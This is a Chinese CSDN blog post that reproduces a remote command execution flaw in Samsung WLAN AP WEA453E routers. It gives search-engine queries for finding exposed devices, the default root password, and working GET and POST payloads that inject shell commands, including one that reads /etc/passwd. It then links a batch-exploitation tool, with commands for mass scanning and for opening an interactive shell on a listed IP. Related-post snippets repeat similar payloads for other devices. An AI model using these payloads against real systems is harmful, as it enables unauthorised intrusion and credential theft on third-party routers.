SamSung WLAN AP:RCE漏洞复现

最新推荐文章于 2024-04-21 16:30:41 发布
最新推荐文章于 2024-04-21 16:30:41 发布
阅读量935 收藏 1
点赞数
文章标签： 安全 web安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Foreverlove112/article/details/126762927
版权

SamSung WLAN AP:RCE

一：漏洞信息

三星WLAN AP WEA453E路由器远程命令执行…

二：漏洞复现Fofa语法：

Fofa语法：

title=="Samsung WLAN AP"

Shodan语法

title:"Samsung WLAN AP"

默认密码：

username:root
password:sweap12~

在这里插入图片描述 手工利用

步骤一：以下为GET请求POC...
http://xx.xx.xx.xx/(download)/tmp/a.txt?command1=shell:ifconfig|%20dd%20of=/tmp/a.txt

在这里插入图片描述步骤二：以下为POST请求的POC…

POST /(download)/tmp/a.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

command1=shell:ifconfig| dd of=/tmp/a.txt

在这里插入图片描述步骤三：读取/etc/passwd文件，可以查看登录root用户的加密密码进行解密…也可用默认密码登录…
http://xx.xx.xx.xx/(download)/tmp/a.txt?command1=shell:cat /etc/passwd|%20dd%20of=/tmp/a.txt

在这里插入图片描述

在这里插入图片描述

批量利用

步骤一：项目下载地址…

https://github.com/msfisgood/Samsung-WLAN_RCE

步骤二：进行批量漏洞检测…

python3 Check.py ip.txt

在这里插入图片描述步骤三：针对单个漏洞目标获取交互式命令接口…

python3 "Samsung WLAN_RCE.py" 175.215.117.17

在这里插入图片描述

Doxi-13A
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Samsung-WLAN-AP路由器RCE漏洞复现
The current road is different, love needs to distinguish between right and wrong
02-01 4265
简介： 三星-WLAN-AP-WEA453e 路由器存在远程命令执行。 fofa搜索： title="Samsung WLAN AP" 大多都是国外的，随便点击一个后进入网页主页面 漏洞利用: 利用burp构造特殊的请求 exp: POST /(download)/tmp/a.txt HTTP/1.1 Host: xxx.xxx.xxx.xxx command1=shell:cat /etc/passwd| dd of=/tmp/a.txt 利用工具
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
afei001
11-02 1058
华为HG532系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。2017年11月27日Check Point团队报告华为HG532产品的远程命令执行漏洞(CVE-2017-17215)。通过认证的攻击者可以向37215端口发送恶意报文进行攻击。成功的利用可能导致远程执行任意代码。据vuldb描述，该漏洞被作为一个非公开的零日漏洞处理了至少85天。
三星 WLAN AP WEA453e路由器 远程命令执行漏洞
weixin_51387754的博客
11-02 692
漏洞简介 路由器是连接两个或多个网络的硬件设备，在网络间起网关的作用，是读取每一个数据包中的地址然后决定如何传送的专用智能性的网络设备。 漏洞复现 fofa title==“Samsung WLAN AP” 对首页抓包 构造如下请求包 POST /(download)/tmp/a.txt HTTP/1.1 Host: x.x.x.x. Connection: close Content-Length: 48 command1=shell:cat /etc/passwd| dd of=/tmp/a.t
开发实战(5)--fofa进行漏洞poc的信息收集
最新发布
记录开发和安全学习过程中的点点滴滴
04-21 2229
突破fafa信息采集时只能查看5页数据, 主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证.作为一个fofa工程师,那么我们当然是使用fofa进行信息搜集喽,刚好也借着这个机会熟悉一下fofa的API文档,为后面写利用工具做好铺垫,当然目前还是用不到API的,问就是用不起,所以只能写脚本突破注册会员限制进行信息爬取。
在三星Android手机上从Fuzzing漏洞挖掘到RCE漏洞利用
systemino的博客
05-21 1106
我们进行了一些在三星Android手机上的安全性研究，这些研究证明了通过发送无用户交互的mms，可以从Fuzzing模糊测试到实现远程代码执行利用。 Google的Project Zero致力于挖掘0-day漏洞并破解各种产品，他们已经在三星的Android Skia图像处理库中发现一些堆溢出问题。 此漏洞由团队成员Mateusz Jurczyk发现的。此漏洞使恶意MMS能够触发远程代码执行，该漏洞是在图像处理中发生的，图像处理是在收到短信并且由Android的Skia库处理图像而没有用户交互时发生的。
【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)
做自己喜欢的事，并将其发挥到极致！
08-03 4666
Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞，该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令。
【漏洞复现】4. Gitlab exiftool远程命令执行漏洞（CVE-2021-22205）复现与分析
Zichel77的博客
03-21 1180
Gitlab是由Gitlab Inc.开发，基于网络的GIt仓库管理工具，且具有wiki和issue跟踪功能，使用Git作为代码管理工具，并在此基础上搭建起来的Web服务，通过Web界面进行访问公开的或私人的项目。2021年4月5日，GitLab官方发布安全更新修复了此GitLab命令执行漏洞（CVE-2021-22205）。
CNVD-2021-30167 用友NC命令执行漏洞复现
qq_17754023的博客
02-28 1994
一、漏洞概述 2021年06月03日，用友官方发布了用友BeanShell远程代码执行漏洞的风险通告，漏洞编号为CNVD-2021-30167，漏洞等级：严重，漏洞评分：9.8。 用友NC是面向集团企业的管理软件，其在同类市场占有率中达到亚太第一。成功利用该漏洞的攻击者可以直接在目标机器上执行任意代码，并以用友NC软件的用户权限执行任意命令。 该漏洞是由于用友NC对外开放了BeanShell接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限。 该漏洞利用复杂度低，攻击
weblogic学习视频
p3348577008的博客
12-16 1479
WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 WebLogic是美商Oracle的主要产品之一
2021年网络安全设备漏洞集合
weixin_47536169的博客
07-13 3756
360天擎SQL注入漏洞 描述 fofa title="360新天擎" POC & 利用 /api/dp/rptsvcsyncpoint?ccid=1 360天擎信息泄露 描述 /api/dbstat/gettablessize POC & 利用 Alibaba 阿里巴巴Nacos认证绕过 描述 fofa：title="Nacos" POC & EXP # 添加用户 POST /nacos/v1/auth/users HTTP/1.1 ..
2021年漏洞小结-手工自检篇
weixin_48421613的博客
12-28 1375
声明： 此文章仅作为上篇文章工具检测后，进行手工验证或手工检测，该文章仅供于学习参考或企业自检，请勿用于非法用途。​请阅读文末声明 D-Link-DIR路由器 账号密码信息泄露漏洞 poc: /getcfg.php SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a 页面原型： 漏洞检测： 输入任意密码，而后点击登陆按钮，同时进行数据包拦截，修改数据包内容如下图 用户名以及密码就出来了​ 脚本参考如下： import requests url=inpu
CISCO ASA设备任意文件读取漏洞复现 (CVE-2020-3452)
墨痕诉清风的博客
10-08 2888
Cisco Adaptive Security Appliance (ASA) 防火墙设备以及Cisco Firepower Threat Defense (FTD)设备的WEB管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞，允许未经身份验证的远程攻击者进行目录遍历攻击并读取目标系统上的敏感文件，此漏洞不能用于获取对ASA或FTD系统文件或底层操作系统(OS)文件的访问，所以只能读取web系统目录的文件，比如webvpn的配置文件、书签、网络cookies、部分网络内容和超文本传输协议网址等信息。.
210104-技术分享-漏洞复现-shiro
leesinalps的博客
01-04 2001
2021年1月4日 技术分享-漏洞复现-shiro by：leesin(ps:内部使用，未经授权不得外发) 1. shiro反序列号漏洞 1.1 漏洞形成原因 Apache Shiro(安全框架不安全，噗哈哈哈)框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。 在服务端接收cookie值时，按照如下步骤来解析处理
【漏洞复现】Apache Solr 模板注入远程命令执行
热门推荐
Summer's blog
05-13 1万+
简单记一次Apache Solr远程命令执行复现和复现的时候踩到的坑。
weblogic-cve_2020_2555漏洞复现
0day
01-28 1859
weblogic-cve_2020_2555漏洞复现 漏洞概述： 该漏洞于2020年1月在网上爆出，属于weblogic反序列化漏洞，漏洞原因是Oracle Fusion中间件 Oracle Coherence 存在缺陷，攻击者可利用该漏洞在未经授权下通过构造T3协议请求，获取 Weblogic 服务器权限，执行任意命令。 漏洞复现： Vulfocus平台拉取下载启动漏洞镜像环境： 访问漏洞环境地址端口11317，该端口映射在weblogic的服务端口7001，在url地址栏输入ip端口后添加
CNVD-2021-14544 漏洞复现
尐猴子君ii的博客
03-28 4400
大四的生活忙忙碌碌,在绿盟实习和忙毕设,让我划水A了半年,今天写一下最近申请零组文库邀请码,提交的复现文章叭. 贵有恒何必三更眠五更起,最无益只怕一日曝十日寒 话不多说，快上车。 海康威视流媒体管理服务器任意文件读取(CNVD-2021-14544) 1.漏洞说明 海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。 杭州海康威视系统技术有限公司流媒体管理服务器存在弱口令漏洞和任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息。 2.影响版本 杭州海康威视数字技术股份有限公司 流媒体管理服务器 V2
CVE-2021-21985 漏洞复现
HEAVEN569的博客
08-12 3255
CVE-2021-21985 漏洞复现 1.漏洞简介 该漏洞存在于vSphere Client（HTML5）中，由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证，拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。 需要注意的是，Virtual SAN Health Check插件在所有vCenter Server中都默认启用，任何能够通过网络访问vCenter Server的未经身份验证
thinkphp5.0.23rce漏洞复现
09-22
ThinkPHP 5.0.23版本之前存在一个远程代码执行（RCE）的漏洞。漏洞的形成原因是在获取method的方法中未正确处理方法名，导致攻击者可以调用Request类的任意方法并构造利用链，从而导致远程代码执行漏洞。具体的漏洞...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值